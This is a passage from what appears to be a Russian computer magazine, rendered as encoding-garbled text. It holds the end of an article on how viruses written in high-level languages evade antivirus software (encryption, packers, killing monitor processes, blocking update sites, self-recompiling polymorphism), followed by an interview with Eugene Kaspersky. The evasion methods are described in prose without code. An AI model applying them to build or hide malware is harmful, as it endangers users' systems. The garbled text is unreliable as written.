òåáå, ðàçóìååòñÿ, ïðèäåòñÿ ïðîäåëàòü
âñå ýòî â îáðàòíîì ïîðÿäêå. Êñòàòè,
ïîìíèøü, â íà÷àëå ÿ ãîâîðèë, ÷òî âè-
ðóñ ìîæíî ïèñàòü è â êîíåö ïðîãè?
Ýòî íå îïå÷àòêà, è áîëüøèíñòâî âèðó-
ñîâ òàê è äåëàþò, ïðåäâàðèòåëüíî çà-
ïèñàâ â çàãîëîâîê ïðîãðàììû jmp near
íà òåëî âèðóñà. Òî åñòü - îí âñå ðàâíî
çàïóñêàåòñÿ ïåðâûì.
Íà ñàìîì äåëå, òàêèõ ïðîáëåì íàìíî-
ãî áîëüøå, à ýòè ÿ ïðèâåë òîëüêî êàê
íàìåê íà òî, ÷òî ïèñàòü âèðóñû - òÿ-
æåëûé, íåçàêîííûé è íåáëàãîäàðíûé
òðóä :). Âåäü íà ñîçäàíèå ëå÷àùåãî
îáíîâëåíèÿ íà ñðåäíèé âèðóñ ó ïðîã-
ðàììåðîâ-àíòèâèðóñíèêîâ óõîäèò
âñåãî íåñêîëüêî ìèíóò. Ïîñëå ÷åãî
ýòî ñàìîå "ãîðÿ÷åå îáíîâëåíèå" âûê-
ëàäûâàåòñÿ íà èõ ñàéòå íà îáîçðåíèå
øèðîêîé îáùåñòâåííîñòè. Íî ÿ ÷òî-
òî îòâëåêñÿ, íàñòàëî âðåìÿ ðàññêà-
çàòü ñîáñòâåííî î ïðîòèâîäåéñòâèè
àíòèâèðóñàì.

ÈÌÅÅÌ ÀÍÒÈÂÈÐÓÑ
Ìíîãèå âèðè äåìîíñòðèðóþò ñâîå

íåóâàæåíèå ê àíòèâèðóñó íå òîëüêî ñ
ïîìîùüþ çàëîæåííûõ àâòîðîì ðóãà-
òåëüñòâ, íî è ðåàëüíûìè äåéñòâèÿìè.
Äóìàþ, òåáå èçâåñòíî, ÷òî àíòèâèðóñ
ìîæåò îïðåäåëÿòü è ëå÷èòü òîëüêî âè-
ðóñû, èçâåñòíûå åãî àâòîðó. Èçìåíèòü
ýòó ñèòóàöèþ ïûòàþòñÿ äàâíî, íî ïîêà
áåçóñïåøíî. Ýâðèñòè÷åñêèé àíàëèç
ñòðàøåí òîëüêî âèðóñàì, íàïèñàííûì

ÀËÃÎÐÈÒÌÛ HIGH LEVEL CODE68

Çàðàæàòü àíòèâèðóñû - ãðåøíî. 
Äåëî â òîì, ÷òî ïðè çàïóñêå îíè äîâîëüíî

ïðèäèð÷èâî èññëåäóþò ñîáñòâåííóþ
öåëîñòíîñòü.
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Ôîðòðàí äîëæåí ñäîõíóòü. Âèäèìî, ñèëüíî íàñîëèë ýòîò ÿçûê

íåêîåìó âèðìåéêåðó, ðàç îí ðåøèëñÿ íà òàêîé ñëîãàí

Ëåò 10 íàçàä âûÿñíèëîñü, ÷òî åñëè 
çàïàêîâàòü èçâåñòíûé âèðóñ 

íåèçâåñòíûì ïàêîâùèêîì, 
îïðåäåëÿòüñÿ Â ÔÀÉËÅ îí íå áóäåò.



íà àññåìáëåðå (äà è òî íå âñåì, ñëèø-
êîì ìíîãî àíòèýâðèñòè÷åñêèõ ïðèå-
ìîâ. Íå ìîæåò æå DR.WEB ýìóëèðî-
âàòü âåñü êîìïüþòåð ;)). Âûñîêîóðîâ-
íåâûå æå âèðóñû ê íåìó èìåþò ïîë-
íûé èììóíèòåò, ïîýòîìó ÿ íà ýòîì íå
áóäó îñòàíàâëèâàòüñÿ. Ïðàâäà, êàê ÿ
óæå ãîâîðèë, ïðîãè-ðåâèçîðû òèïà
ADinf+Cure Module ìîãóò îïðåäåëÿòü è
ëå÷èòü âèðóñû-ïàðàçèòû òîëüêî â òîì
ñëó÷àå, åñëè îíè íè÷åãî íå øèôðóþò,
ñòîèò æå ïîXORèòü äàæå ìàëåíüêèé
ó÷àñòîê ïðîãè, êàê îíà îáúÿâëÿåòñÿ
íåèçëå÷èìîé, è þçåð îòïðàâëÿåòñÿ
æäàòü îáíîâëåíèÿ ïîëèôàãà.
Ñóùåñòâóåò è åùå íåñêîëüêî ñïîñî-
áîâ îáìàíà. Íàïðèìåð, ëåò 10 íàçàä
âûÿñíèëîñü, ÷òî åñëè çàïàêîâàòü èç-
âåñòíûé âèðóñ íåèçâåñòíûì ïàêîâ-
ùèêîì, îïðåäåëÿòüñÿ Â ÔÀÉËÅ îí íå
áóäåò. Ýòî áûëî äåéñòâèòåëüíî âåñå-
ëî, ïîñêîëüêó þçåðû çàâàëèâàëè àí-
òèâèðóñíèêîâ æàëîáàìè, òèïà: "Âàø
��. åæåäíåâíî óäàëÿåò âèðóñ â ïàìÿ-
òè, à îí âñå ðàâíî òàì îáðàçóåòñÿ.
×òî ýòî çà ��.!" Ïðàâäà, âñêîðå ñèòó-
àöèÿ ðàçðóëèëàñü - àíòèâèðóñû íàó-
÷èëèñü íà ëåòó ðàñïàêîâûâàòü è åãî.
Ñåé÷àñ, ñ ïîÿâëåíèåì PE, âñå ïàêîâ-
ùèêè äëÿ íèõ èçâåñòíû àíòèâèðóñàì,
è ýòîò ôèíò óæå íå ïðîõîäèò. À ñîç-
äàòü ñâîé ñîáñòâåííûé ïàêîâùèê êó-
äà ñëîæíåå, ÷åì èçìåíèòü êîä óæå
íàïèñàííîãî âèðóñà :).
Çàðàæàòü àíòèâèðóñû - ãðåøíî. Äåëî â
òîì, ÷òî ïðè çàïóñêå îíè äîâîëüíî ïðè-
äèð÷èâî èññëåäóþò ñîáñòâåííóþ öåëî-
ñòíîñòü, èíîãäà âûäàâàÿ òàêîé ýêðàí:

Ðàçóìååòñÿ, òîò parasitic-àëãîðèòì, ÷òî
ÿ îïèñàë, íå èçìåíÿåò öåëîñòíîñòü
ôàéëà, è èì ìîæíî çàðàæàòü äàæå àí-
òèâèðóñû, íî ïðàêòè÷åñêè âñå âèðóñû,

èñõîäíèêè êîòîðûõ ÿ âèäåë, èìåþò
ïðîâåðêó èìåíè ôàéëà, êîòîðûé îíè
íàøëè (íàïðèìåð: IF Sr.Name =
'drweb.exe' then �). Òî åñòü, ôàéë
"drweb.exe" çàðàæàòüñÿ íå áóäåò, à áó-
äåò ëèáî ïðîïóùåí, ëèáî - óäàëåí èëè
èñïîð÷åí. Ñêîðåå èñïîð÷åí, ïîñêîëüêó
ýòî íå âûçûâàåò ïîäîçðåíèé. Â ñâÿçè
ñ ýòèì ìíîãèå àíòèâèðóñû ñòàëè ðàç-
ðåøàòü ïîëüçîâàòåëÿì ïåðåèìåíîâû-
âàòü èñïîëíèìûå ôàéëû. Ýòî íå ïî-
ìîãëî, è âèðìåéêåðû îòâåòèëè ïîèñ-
êîì àíòèâèðóñà ïî ñèãíàòóðå. Àíòèâè-
ðóñíèêè íå íàøëè, ÷åì îòâåòèòü, è ýòà
âîçìîæíîñòü ñóùåñòâóåò ïî ñåé äåíü.
Ãëàâíîå - çàïóñòèòüñÿ ðàíüøå àíòèâè-
ðóñà, ÷òî ïðè ñåãîäíÿøíåé ïîïóëÿð-

íîñòè ìîíèòîðîâ òðóäíî óñòðîèòü. Íî,
êàê èçâåñòíî, íà êàæäóþ õèòðóþ� õì�
ïðîãó íàéäåòñÿ ñâîé áîëò íà 16, è
áîëüøèíñòâî ñîâðåìåííûõ âèðóñîâ
íàó÷èëèñü ïðîñòî óáèâàòü ïðîöåññû,
ïðèíàäëåæàùèå àíòèâèðóñàì-ìîíèòî-
ðàì (AVPMonitor, Norton Antivirus è
ò.ï.). Ïðàâäà, äëÿ ýòîãî âèðóñ åùå äîë-
æåí ÏÎÏÀÑÒÜ íà êîìïüþòåð è íå áûòü
óáèòûì ðàíüøå. Íî óæ åñëè ïîïàë - òî
äåðæèñü, ïîòîìó ÷òî âèðóñû, ïåðåõâà-
òûâàþùèå òðàôèê, áûâàåò, çàïðåùà-
þò ïîëüçîâàòåëþ îáðàùàòüñÿ ê ñàé-
òàì àíòèâèðóñíèêîâ, ïðîâîäèòü àâòî-
ìàòè÷åñêèå îáíîâëåíèÿ è êà÷àòü íî-
âûå âåðñèè, âûïîëíÿÿ òàêèì îáðàçîì
ôóíêöèè ôàåðâîëà :).
×òîáû èçáåæàòü îáíàðóæåíèÿ, íåêî-
òîðûå âûñîêîóðîâíåâûå âèðóñû èìå-
þò äàæå íàìåê íà ïîëèìîðôèçì, à
èìåííî, òàñêàÿ çà ñâîèì òåëîì çàïà-
êîâàííûé èñõîäíèê, îíè áðîäÿò ïî
äèñêó þçåðà â ïîèñêàõ êîìïèëÿòîðà.
Çàòåì, ñëåãêà èçìåíèâ òåêñò íèêîãäà
íå âûïîëíÿþùèìèñÿ êîìàíäàìè (÷òî-
òî òèïà "IF FALSE THEN"), êîìïèëèðó-
þò åãî è çàïóñêàþò. Ïîëó÷àÿ ñëåãêà
èçìåíåííóþ âåðñèþ. Çàðàæàòü àðõè-
âû âèðóñû òîæå ëþáÿò - îñîáåííî, åñ-
ëè íà äèñêå èìååòñÿ pkzip.exe èëè
÷òî-òî â ýòîì ðîäå. À ïîñêîëüêó ó
áîëüøèíñòâà ïîëüçîâàòåëåé â ïàðà-
ìåòðàõ ñêàíåðà ïðîâåðêà àðõèâîâ
âûêëþ÷åíà (÷òîáû íå òîðìîçèëî), ïî-
ÿâëÿåòñÿ ðåàëüíûé øàíñ ïåðåæèòü
òðóäíûå âðåìåíà.
Â îáùåì, ñïîñîáîâ îáìàíà àíòèâè-
ðóñîâ ïðèäóìàíî âåëèêîå ìíîæåñò-
âî (êàæäûé ðàä ïîïèíàòü áåçäóø-
íóþ ïðîãó :)), íî æóðíàë íå ðåçèíî-
âûé, ïîýòîìó ÿ ïëàâíî ïåðåõîæó ê
çàêëþ÷åíèþ.

ÂÈÐÓÑÀÌ - ÁÎÉ!
Íàäåþñü, ÿ íåìíîãî ïðîñâåòèë

òåáÿ â âîïðîñå óñòðîéñòâà è îáðàçà
æèçíè ñàìîõîäíîãî ïðîãðàììíîãî
îáåñïå÷åíèÿ, íàïèñàííîãî íà ÿçûêàõ
âûñîêîãî óðîâíÿ. Áîëüøå èíôîðìà-
öèè òû ìîæåøü ïîëó÷èòü íà îôèöè-
àëüíûõ ñàéòàõ àíòèâèðóñíèêîâ è âè-
ðóñîïèñàòåëåé, ïîñêîëüêó îáúÿòü
âåñü âèðìåéêèíã â îäíîé ñòàòüå - çà-
äà÷à íå äëÿ ñëàáûõ äóõîì :). Óñïåõîâ
òåáå è íå çàðàæàéñÿ.                  A

Èìÿ òâîå íåèçâåñòíî, ïîäâèã òâîé áåññìåðòåí



Î ÊÎÌÏÀÍÈÈ
mindw0rk: Çäðàâñòâóéòå, Åâ-
ãåíèé. Ðàññêàæèòå, ïîæà-
ëóéñòà, î âàøåé "Ëàáîðàòî-
ðèè Êàñïåðñêîãî". Íå îôèöè-

àëüíûå ñâîäêè, êîòîðûå åñòü íà ñàéòå,
áîëüøå èíòåðåñóåò èìåííî àòìîñôåðà. Â
êàêîì ïîìåùåíèè ïðîâîäÿòñÿ âñå îñíîâ-
íûå èññëåäîâàíèÿ è ðàçðàáîòêè, íàñêîëüêî
òåõíè÷åñêè îñíàùåíà êîìïàíèÿ, êàêèå òðå-
áîâàíèÿ ïðåäúÿâëÿþòñÿ ê ñîòðóäíèêàì... â
òàêîì äóõå.
ÅÅââããååííèèéé ÊÊààññïïååððññêêèèéé ((ÅÅÊÊ)):: Ðàáîòàåì ìû
êðóãëîñóòî÷íî, áåç ïðàçäíèêîâ è âûõîä-
íûõ. Îñîáåííî ýòî êàñàåòñÿ àíòèâèðóñíûõ
ýêñïåðòîâ è ñëóæáû òåõíè÷åñêîé ïîääåðæ-
êè. Ïîíÿòíî, ÷òî âèðóñàì íå çíàêîìû òåð-
ìèíû "ñïîêîéíûé íî÷íîé ñîí" è "ðàáîòà ñ
10 äî 18", ïîëüçîâàòåëÿì çàùèòà íóæíà
êðóãëîñóòî÷íî. Ê òîìó æå ëþäè æèâóò ïî
âñåìó ìèðó, âî âñåõ ÷àñîâûõ ïîÿñàõ. À íà-
øå ïðèçâàíèå ïðåäîñòàâëÿòü ëó÷øóþ çà-
ùèòó. Ëó÷øóþ - çíà÷èò ýôôåêòèâíóþ è â
ñðîê. Ðàáîòà â êîìïàíèè îáû÷íî ïðîõîäèò
òàê: îáíàðóæèâàåòñÿ âèðóñ, â çàâèñèìîñòè
îò åãî òèïà ðàñïðåäåëÿåòñÿ íà àíàëèç îï-
ðåäåëåííîìó ýêñïåðòó. Îí ðàçðàáàòûâàåò
ñèãíàòóðó, ïèøåò îïèñàíèÿ äëÿ Ýíöèêëîïå-
äèè. Ïîòîì ðåçóëüòàòû ðàáîòû àêêóìóëèðó-
þòñÿ ñïåöèàëüíûì ðîáîòîì, êîòîðûé òåñòè-
ðóåò è âûïóñêàåò îáíîâëåíèå. Âñå ýòî òðå-
áóåò îãðîìíûõ îðãàíèçàòîðñêèõ ñïîñîáíîñ-
òåé, ëè÷íîé çàèíòåðåñîâàííîñòè è âîâëå-
÷åííîñòè ñîòðóäíèêîâ. Íà ñîçäàíèå ýòèõ
óñëîâèé è íàïðàâëåíû óñèëèÿ êîìïàíèè.
Òåõíè÷åñêèé äåïàðòàìåíò çàíèìàåò îáøèð-
íîå ïîìåùåíèå, îáîðóäîâàííîå ïî ïîñëåä-
íåìó ñëîâó òåõíèêè è ýðãîíîìèêè. Îáñòà-
íîâêà ìàêñèìàëüíî äåëîâàÿ, íî áåç èçëèø-
íåé áþðîêðàòèè - ýòîãî ìû òåðïåòü íå ìî-
æåì. Áþðîêðàòèÿ óáèâàåò èíèöèàòèâó è äå-
ìîòèâèðóåò.

mindw0rk: Ïî÷åìó âû ðåøèëè ïåðåèìåíî-
âàòü Antiviral Toolkit Pro â Àíòèâèðóñ Êàñ-
ïåðñêîãî? AVP - êàê-òî ïðèâû÷íåå :).
ÅÅÊÊ:: Äîëãàÿ è ãðÿçíàÿ èñòîðèÿ, êóäà âîâëå-
÷åíû êèáåðñêâîòåðû è ïðîñòî íåïîðÿäî÷-
íûå ëþäè. Ïî ñóòè äåëà, ó íàñ óêðàëè ýòîò
áðåíä, è çàòåì øàíòàæèðîâàëè. Ñ äðóãîé
ñòîðîíû, ðàíî èëè ïîçäíî ñìåíà îáÿçàíà
áûëà ïðîèçîéòè. Â íàçâàíèÿõ ïðîäóêòà è
êîìïàíèè äîëæíà áûòü ãàðìîíèÿ: ó ðÿäîâî-
ãî ïîëüçîâàòåëÿ AVP ñ òðóäîì àññîöèèðó-

åòñÿ ñ "Êàñïåðñêèé". Êðîìå òîãî, "Ëàáîðà-
òîðèÿ" ñåãîäíÿ çàíèìàåòñÿ íå òîëüêî àíòè-
âèðóñàìè, íî òàêæå ìåæñåòåâûìè ýêðàíàìè
(Kaspersky Anti-Hacker) è çàùèòîé îò ñïàìà
(Kaspersky Anti-Spam). Çäåñü áðåíä âûñòó-
ïàåò â ðîëè çîíòèêà è ïðèäàåò íîâûì ïðî-
äóêòàì âåñ, ïåðåíîñÿ íà íèõ äîâåðèå, çàðà-
áîòàííîå àíòèâèðóñîì. Ñïîðíûé âîïðîñ, íî
åùå ìíå êàæåòñÿ, ÷òî êîðïîðàòèâíûé ïðî-
äóêò íå ìîæåò íîñèòü íàçâàíèå AVP. Îíî
çâó÷èò íåìíîãî ëåãêîìûñëåííî è îòäàåò ãà-
ðàæíûì ëþáèòåëüñòâîì.

mindw0rk: Êàêèå àíòèâèðóñíûå êîìïàíèè
âû ñ÷èòàåòå ñâîèìè îñíîâíûìè êîíêóðåí-
òàìè è ïî÷åìó? Êàêèå ó âàñ ñ íèìè îòíîøå-
íèÿ? Íàñêîëüêî òåñíî âû ñîòðóäíè÷àåòå?
ÅÅÊÊ:: Âñå çàâèñèò îò ñåãìåíòà ðûíêà è ñòðàíû.
Âîîáùå, ÿ ïðåäïî÷èòàþ íå ïîêàçûâàòü ïàëü-
öåì â òàêèõ âîïðîñàõ. Âåäü âîïðîñ ðèòîðè-
÷åñêèé: ÷òî, ïîìèìî "Êàñïåðñêèé", âàì ïðè-
õîäèò â ãîëîâó, êîãäà âû çàäóìûâàåòåñü îá
àíòèâèðóñíîé çàùèòå? Ñ áîëüøèíñòâîì çà-
ïàäíûõ ðàçðàáîò÷èêîâ ó íàñ òåñíûå ïðîôåñ-
ñèîíàëüíûå ñâÿçè: âåäü ìû âñå äåëàåì îäíî
äåëî, è, ÷òîáû âñå ïîëüçîâàòåëè ïîëó÷àëè
çàùèòó êàê ìîæíî áûñòðåå, íàì ïðîñòî íåîá-
õîäèìî ðàáîòàòü âìåñòå. Àíòèâèðóñíûå êîì-
ïàíèè îáúåäèíåíû â íåñêîëüêî íåôîðìàëü-
íûõ îðãàíèçàöèé (íàïðèìåð, CARO -
Computer Antivirus Researchers' Organisation),
ãäå ó÷àñòíèêè îáñóæäàþò ñòðîåíèå âèðóñîâ
è äåëÿòñÿ îïûòîì ïî ðàçðàáîòêå çàùèòû.

»

mindw0rk (www.livejournal.com/users/mindw0rk)

Â ðÿä ëè ìíå íóæíî ïðåäñòàâëÿòü ñâîåãî ñîáåñåäíèêà. Åñëè òû öåíèøü áåçîïàñ-
íîñòü ñâîåé ñèñòåìû è íà ïóøå÷íûé âûñòðåë íå ïîäïóñêàåøü ýëåêòðîííóþ çà-

ðàçó ê ñâîåé íåìåðåíî âàæíîé èíôå, òåáå äîëæíà áûòü çíàêîìà ýòà ôàìèëèÿ. Èìåí-
íî áëàãîäàðÿ Åâãåíèþ Êàñïåðñêîìó è åãî àíòèâèðóñó ìû ìîæåì ñïàòü ñïîêîéíî, íå
áîÿñü, ÷òî çëûå âèðè ñîæðóò ñ ïîòðîõàìè íàø âèíò. "Àíòèâèðóñ Êàñïåðñêîãî"
áûë ïðèçíàí ëó÷øèì â ìèðå íå òîëüêî ìíîãèìè ïðåñòèæíûìè îðãàíèçàöè-
ÿìè, íî äàæå ïðåäñòàâèòåëÿìè ñîîáùåñòâà âèðóñìåéêåðîâ.
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Ó âèðóñîâ
ïî óìîë÷à-
íèþ íå ìî-
æåò áûòü
õîðîøåãî
êîäà, ýòî
êàê àòîìíàÿ
áîìáà - ìî-
æåò ëè
áûòü õîðî-
øèì ñðåä-
ñòâî óíè÷-
òîæåíèÿ
ëþäåé?

mindw0rk: Êàê ÷àñòî ñîòðóäíèêè
êîìïàíèè ó÷àñòâóþò â êîíôåðåíöè-
ÿõ, ïîñâÿùåííûõ ïðîáëåìå âèðó-
ñîâ? Ãîòîâèòå ëè âû äîêëàäû? Íàñ-
êîëüêî âîîáùå âàæíû òàêèå êîíôå-
ðåíöèè?
ÅÅÊÊ:: Ó÷àñòâóåì, äîêëàäûâàåì, ïðè÷åì
ìíîãî è ðåãóëÿðíî. ß áû äàæå ñêà-
çàë, ðåäêàÿ êîíôåðåíöèÿ ïðîõîäèò
áåç íàøåãî ó÷àñòèÿ. Ïîäîáíûå ìå-
ðîïðèÿòèÿ î÷åíü âàæíû. Âåäü ýòî
îáìåí áåñöåííûì îïûòîì, à òàêæå
îòëè÷íàÿ âîçìîæíîñòü íàêîíåö-òî
ïðåîäîëåòü áàðüåð ýëåêòðîííîé
ïî÷òû è óâèäåòü êîëëåã ïî öåõó âî-
î÷èþ.

mindw0rk: Ëè÷íî ó âàñ ñ êîëëåãàìè
îòíîøåíèÿ ñóãóáî äåëîâûå, èëè âû
ïðè æåëàíèè ìîæåòå ñûãðàòü ñ êåì-
òî èç íèõ ïàðòèþ â áèëüÿðä, âûïèòü
ïî ÷àøå÷êå ïèâà â íåïðèíóæäåííîé
îáñòàíîâêå?
ÅÅÊÊ:: "Äåëîâûå" îòíîøåíèÿ öàðÿò, â
îñíîâíîì, íà îôèöèàëüíûõ ìåðîï-
ðèÿòèÿõ è ïåðåãîâîðàõ. Êàê òîëüêî
ìû ñíèìàåì ãàëñòóêè, òî âñå ïðîèñ-
õîäèò ïî îïèñàííîìó âàìè ñöåíà-
ðèþ.

mindw0rk: Ñêîëüêî ñîòðóäíèêîâ ñåé-
÷àñ ðàáîòàåò â "Ëàáîðàòîðèè Êàñïå-
ðñêîãî"? Êàêèì îáðàçîì âû ïîäáè-
ðàåòå íîâûå êàäðû?
ÅÅÊÊ:: Ñåé÷àñ íàñ 250 ÷åëîâåê. 85% èç
íèõ ðàáîòàþò â íàøåé øòàá-êâàðòè-
ðå â Ìîñêâå, îñòàëüíûå - â îñíîâíîì
ñïåöèàëèñòû ïî ìàðêåòèíãó, ïðîäà-
æàì è òåõïîääåðæêå - íàõîäÿòñÿ â
îôèñàõ â Àíãëèè, Ôðàíöèè, ÑØÀ,
Ïîëüøå, Íèäåðëàíäàõ, ßïîíèè è Êè-
òàå. Âðÿä ëè ìîæíî îäíîçíà÷íî îï-
ðåäåëèòü íàøó êàäðîâóþ ïîëèòèêó.
Âñå ñëó÷àåòñÿ, è ìû ïðèãëàøàåì, è
ñàìè ïðèõîäÿò. Õîòÿ áîëüøèíñòâî
âñå-òàêè íàõîäèì ìû ñàìè.

mindw0rk: À ñðåäè âàøèõ ñîòðóäíè-
êîâ åñòü ëþäè, êîòîðûå â ïðîøëîì
çàíèìàëèñü íàïèñàíèåì âèðóñîâ?
Åñëè íåò - ìîãëè áû âû âçÿòü òàêîãî
÷åëîâåêà ê ñåáå íà ðàáîòó?
ÅÅÊÊ:: Íåò, òàêèõ ëþäåé íåò. Ïî êðàéíåé
ìåðå, ÿ íàäåþñü, ñðåäè ìîèõ ñîòðóä-
íèêîâ íåò ëþäåé, óìåþùèõ ýòî òàê
ëîâêî ñêðûâàòü. Ïîíèìàåòå, âèðóñî-
ïèñàòåëüñòâî - ýòî äèàãíîç, êîòîðûé
ñ òðóäîì ïîääàåòñÿ ëå÷åíèþ. Äà,
åñòü ïðèìåðû èç äðóãèõ îáëàñòåé -
ïðåñòóïíèê Âèäîê ñòàë çíàìåíèòûì
ïîëèöåéñêèì. Â âèðóñîïèñàòåëüñòâå
ìíå ïîêà òàêèå ñëó÷àè íåèçâåñòíû.
ß íå ñòàíó ïÿòíàòü ðåïóòàöèþ "Ëà-
áîðàòîðèè", òàê ÷òî ñîçäàòåëÿì âè-
ðóñîâ ïóòü ê íàì çàêàçàí.

mindw0rk: Íàñêîëüêî óñïåøíî è
îïåðàòèâíî âàì óäàåòñÿ ñïðàâëÿòü-
ñÿ ñ çàäà÷åé ïîääåðæàíèÿ èíôîðìà-
öèîííîé áåçîïàñíîñòè?
ÅÅÊÊ:: Â ñðåäíåì íàì òðåáóåòñÿ âñåãî
5-7 ìèíóò äëÿ àíàëèçà êàæäîãî âè-
ðóñà. Èíîãäà 1-2 ìèíóòû. Ðåäêî, íî
áûâàþò òÿæåëûå ñëó÷àè, êîãäà êîð-

ïèì íàä êîäîì öåëûé äåíü. Êîãäà
ñïåöèàëèñòû èç êîíêóðèðóþùèõ
ôèðì óçíàþò îá ýòîì - ñèëüíî óäèâ-
ëÿþòñÿ. Ó íèõ â ëàáîðàòîðèÿõ ðàáî-
òàåò â 3-4 ðàçà áîëüøå ëþäåé, à ìû
óñïåâàåì âñå ñäåëàòü áûñòðåå è
ëó÷øå. Äóìàþ, óäàåòñÿ ýòî íàì áëà-
ãîäàðÿ òàëàíòó ñîòðóäíèêîâ, ïðà-
âèëüíîé îðãàíèçàöèè ïðîöåññîâ è
ìîùíûì ñðåäñòâàì àâòîìàòèçàöèè.

mindw0rk: Íàñêîëüêî âåëèê âêëàä
îòå÷åñòâåííûõ âèðóñìåéêåðîâ â îá-
ùåå êîëè÷åñòâî âèðóñíûõ èíöèäåí-
òîâ? Êàê âû îöåíèâàåòå ïðîôåññèî-
íàëèçì íàøèõ àâòîðîâ âèðåé?
ÅÅÊÊ:: Åñòü ïðÿìàÿ ñâÿçü ìåæäó àêòèâ-
íîñòüþ âèðóñîïèñàòåëåé è ýêîíîìè-
÷åñêèì ïîëîæåíèåì â ñòðàíå. Ñåé-
÷àñ ó íàñ âñå õîðîøî, ïîýòîìó ðîñ-
ñèéñêèå âèðóñû ñåãîäíÿ áîëüøàÿ
ðåäêîñòü. Òåì áîëåå ðåäêîñòü - âû-
ñîêîêëàññíûé âèðóñ. Òå, êòî ìîãëè
áû åãî ñîçäàòü, óæå äàâíî îáðàçó-
ìèëèñü è çàðàáàòûâàþò ïðèëè÷íûå
äåíüãè íà ïðîãðàììèðîâàíèè áîëåå
ïîëåçíûõ âåùåé. Òàê ÷òî ñåãîäíÿ
îñíîâíîé ïîòîê âèðóñîâ èäåò èç èñ-
ïàíîÿçû÷íûõ ñòðàí è Þãî-Âîñòî÷-
íîé Àçèè.

mindw0rk: "Ëàáîðàòîðèÿ Êàñïåðñêî-
ãî" çà âðåìÿ ñâîåãî ñóùåñòâîâàíèÿ
çàâîåâàëà ìíîãî ðàçíûõ íàãðàä.
Åñòü ñðåäè íèõ òàêàÿ, êîòîðîé âû
îñîáåííî ãîðäèòåñü?
ÅÅÊÊ:: Ñàìàÿ ïåðâàÿ, 94 ãîäà - äåáþò
íàøåé ïðîãðàììû íà ìåæäóíàðîä-
íûõ òåñòàõ. Ýòî áûëè òåñòû Ãàìáóð-
ãñêîãî óíèâåðñèòåòà, ãäå ó÷àñòâîâà-
ëè ïðàêòè÷åñêè âñå àíòèâèðóñû ìè-
ðà. Äëÿ íàñ ýòî áûëî ïåðâîå èñïûòà-
íèå, è ìû ïîáåäèëè. Íå ïðîñòî ïîáå-
äèëè, à îñòàâèëè äàëåêî ïîçàäè âñåõ
êîíêóðåíòîâ.

mindw0rk: Ðàññêàæèòå î íîâûõ ðàç-
ðàáîòêàõ êîìïàíèè. Êàêèå ïðîäóêòû
ñåé÷àñ êóþòñÿ â íåäðàõ "Ëàáîðàòî-
ðèè"? Êàêèì ïðîåêòàì óäåëÿåòñÿ íà-
èáîëüøåå âíèìàíèå?
ÅÅÊÊ:: Â ïåðâóþ î÷åðåäü, ýòî íàø íî-
âûé ïðîåêò Kaspersky Anti-Hacker,

êîòîðîìó ñêîðî èñïîëíèòñÿ ãîä. Òàé-
íà åãî ïðîèñõîæäåíèÿ ïðîñòà è íå-
çàìûñëîâàòà. Âèðóñû ñòàëè íàñòîëü-
êî ñëîæíûì ÿâëåíèåì, íàñòîëüêî
ñðîñëèñü ñ äðóãîé êðèìèíàëüíîé îá-
ëàñòüþ - õàêåðñêèìè àòàêàìè, ÷òî
ðûíêó ñòàë îñòðî íåîáõîäèì åäèíûé
ïðîäóêò. Ïðîäóêò, îáúåäèíÿþùèé
ôóíêöèè àíòèâèðóñà, ìåæñåòåâîãî
ýêðàíà è àíòèñïàìà. Ñåé÷àñ ìû íàõî-
äèìñÿ íà ñòàäèè ãîòîâíîñòè îòäåëü-
íûõ ïðîäóêòîâ è ðàáîòàåì íàä èõ èí-
òåãðàöèåé. Íå çà ãîðàìè âðåìÿ, êîã-
äà ïîëüçîâàòåëè áóäóò óñòàíàâëè-
âàòü íå Kaspersky Anti-Virus, à
Kaspersky Security. Âòîðàÿ íàøà
ïåðñïåêòèâíàÿ ðàçðàáîòêà -
Kaspersky Anti-Spam. Ïîêà îíà ðàñ-
ñ÷èòàíà òîëüêî íà êîðïîðàòèâíûõ
ïîëüçîâàòåëåé, íî â íà÷àëå 2004 ã.
ìû ïðåäñòàâèì íà ðûíîê ïåðñîíàëü-
íóþ âåðñèþ. Ïîëüçîâàòåëè ñìîãóò
ôèëüòðîâàòü ñïàì ëèíãâèñòè÷åñêèì
ýâðèñòèêîì, ñèãíàòóðàìè ñïàìà, ÷åð-
íûìè è áåëûìè ñïèñêàìè, à òàêæå ïî
ôîðìàëüíûì ïðèçíàêàì ñïàìà. Èí-
òåðôåéñ áóäåò ìàêñèìàëüíî ïðîñò è
óäîáåí, ÷òîáû ðàçîáðàòüñÿ â íåì
ñìîãëè äàæå íà÷èíàþùèå ïîëüçîâà-
òåëè. Â îáùèõ ÷åðòàõ: ïðîãðàììà èí-
òåãðèðóåòñÿ â ïî÷òîâîãî êëèåíòà è
îáðàáàòûâàåò âõîäÿùóþ êîððåñïîí-
äåíöèþ. Ñïàìó ïðèñâàèâàþòñÿ ñïå-
öèàëüíûå ìåòêè, áëàãîäàðÿ êîòîðûì
åãî ìîæíî ðàññîðòèðîâûâàòü â ñïå-
öèàëüíûå ïàïêè, èãíîðèðîâàòü èëè
óäàëÿòü.

mindw0rk: Êàê èçâåñòíî, Ðîññèÿ è
Óêðàèíà çàíèìàþò âåäóùèå ìåñòà â
ñïèñêå ñàìûõ ïèðàòñêèõ ñòðàí (ïî
êîëè÷åñòâó ïèðàòñêîé ïðîäóêöèè).
Íàâåðíÿêà ýòî çàòðîíóëî èíòåðåñû
è âàøåé êîìïàíèè. Ïûòàåòåñü ëè âû
êàê-òî áîðîòüñÿ ñ ýòèì? Íàñêîëüêî
âåëèêè ïîòåðè êîìïàíèè îò äåÿòåëü-
íîñòè ïèðàòîâ? È êàêîâî ñîîòíîøå-
íèå âûïóñêàåìîé âàìè ïðîäóêöèè
äëÿ çàðóáåæíîãî ðûíêà ïî ñðàâíå-
íèþ ñ íàøèì?
ÅÅÊÊ:: Äàâàéòå ïî ïîðÿäêó. Íà÷íó ñ
êîíöà - ïðîäàæè "Ðîññèÿ-íåÐîññèÿ"
ðàñïðåäåëÿþòñÿ â ïðîïîðöèè 40-60.
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Âîîáùå, ýòî
çàòÿãèâàåò.
Âåäü êàæ-
äûé âèðóñ -
ñâîåãî ðîäà
çàäà÷à.
Èíîãäà ïî-
ïàäàþòñÿ
î÷åíü ñëîæ-
íûå çàäà÷è.
È íàõîæäå-
íèå ðåøå-
íèÿ - êàê
êóðåíèå.
Íà÷íåøü
îäèí ðàç, è
ïîòîì óæå
íå îñòàíî-
âèòüñÿ.
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Âûñòóïëåíèå Êàñïåðñêîãî íà îäíîé èç êîíôåðåíöèé



